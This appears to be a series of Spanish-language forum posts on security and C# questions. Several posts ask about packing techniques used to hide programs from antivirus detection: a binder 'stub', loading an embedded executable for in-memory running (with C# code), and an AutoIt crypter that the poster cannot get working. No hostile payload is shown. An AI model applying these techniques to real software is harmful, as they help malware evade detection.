Entonces juntare ambos pero luego los separaré por medio del stub. Saludos y gracias.
#37
Como dice el proverbio es mejor prevenir que curar.  Entonces había pensado en instalar algun programa para hacer una copia de seguridad de toda mi partición (principalmente lo hago para conservar ficheros,directorios que no querría que se me borrasen) o es mejor hacer una copia directamente del directorio de la partición. Saludos y gracias!
#38
Bueno esto es una duda, inquietud y también una experiencia. Normalmente estoy acostumbrado a usar windows por facilidad, comodidad, aunque en realidad en un linux tambien puedes arrancar binarios de windows usando wine. Pero esque ultimamente cuando muevo una carpeta entre otras muchas cosas tarda horas o meses(esto era sarcasmo) mientras que cuando reinicio y uso linux veo que tarda 1 segundo mi pregunta que hago me paso a linux de cajón ya que mi cerebro esta acostumbrado a windows o cada vez que quiero mover ficheros uso linux a ver que me aconsejan.
#39
Hola estoy buscando algunos programas en concreto que publico doddy solo algunos concreto y ya no están.
#40
Hacking / la proteccion SSL es segura?¿
23 Abril 2017, 23:41 PM
Veo muchas paginas que utilizan este tipo de protección y ya a nivel de seguridad es bastante utilizada y me corrio esa duda.
¿Es una buena manera de proteger la información en una pagina web que no queramos revelar?
#41
Hacking / Si saben mi ip me pueden hackear?
23 Abril 2017, 19:27 PM
Sé que esta pregunta es muy repetida y tal.. bueno hace poco hablando compañero me dijo que simplemente sacando mi ip las posibilidades que accediera a mi ordenador eran muy altas pero no sé que tan cierto sea. Entonces mi pregunta es existe alguna posibilidad de que alguien unicamente sabiendo mi ip pueda acceder o tener acceso a mi computador? Esa es la pregunta lo unico que se me ocurre que podria hacer es usar nmap escaneo de puertos y ver cuales estan abiertos, en caso de tener algun abierto ver cual tengo a la escucha y si se dieran estos dos casos, encontrar una supuesta vulnerabilidad para mi software actualizado por lo que me parece poco probable que sucediese.
#42
Podría usar alguien un pdf para acceder a mi ordenador teniendo el adobe actualizado y usando chrome para abrir el pdf?
#43
Hola lo que hago es obtener el ultimo elemento del combobox:
int ultimo = playerList.Items.Count - 1;
playerList.SelectedIndex = ultimo;
var valor = playerList.SelectedValue;


Pero ahora lo que quiero es extrar los elementos en ese valor ejemplo:
"Hola,padre,nuestro"
--> por medio de valor.
string a = "hola"
string b = "padre"
string c = "nuestro"
#44
Mi pregunta como puedo obtener la ruta o nombre de un recursos embedido ej:
Application.EnableVisualStyles();
           Application.SetCompatibleTextRenderingDefault(false);
           AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(CurrentDomain_AssemblyResolve);
           //Application.Run(new Form1());      

       static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
       {
           using (var stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("EmbedAssembly.helloworld.exe"))
           {
               byte[] assemblyData = new byte[stream.Length];
               stream.Read(assemblyData, 0, assemblyData.Length);
               return Assembly.Load(assemblyData);
           }
       }


Ya que lo llamare por medio de la funcion
RunInterna("la ruta del recurso embedido", "pass");
#45
Scripting / Ayuda con este crypter en autoit
31 Marzo 2017, 20:24 PM
Hola estoy intentando probar un crypter para autoit lo que hago es poner mi programa helloworld pero nunca me abre el programa que estoy haciendo mal.

Código:
http://pastebin.com/Rchvr96P
http://pastebin.com/4K5B6d6r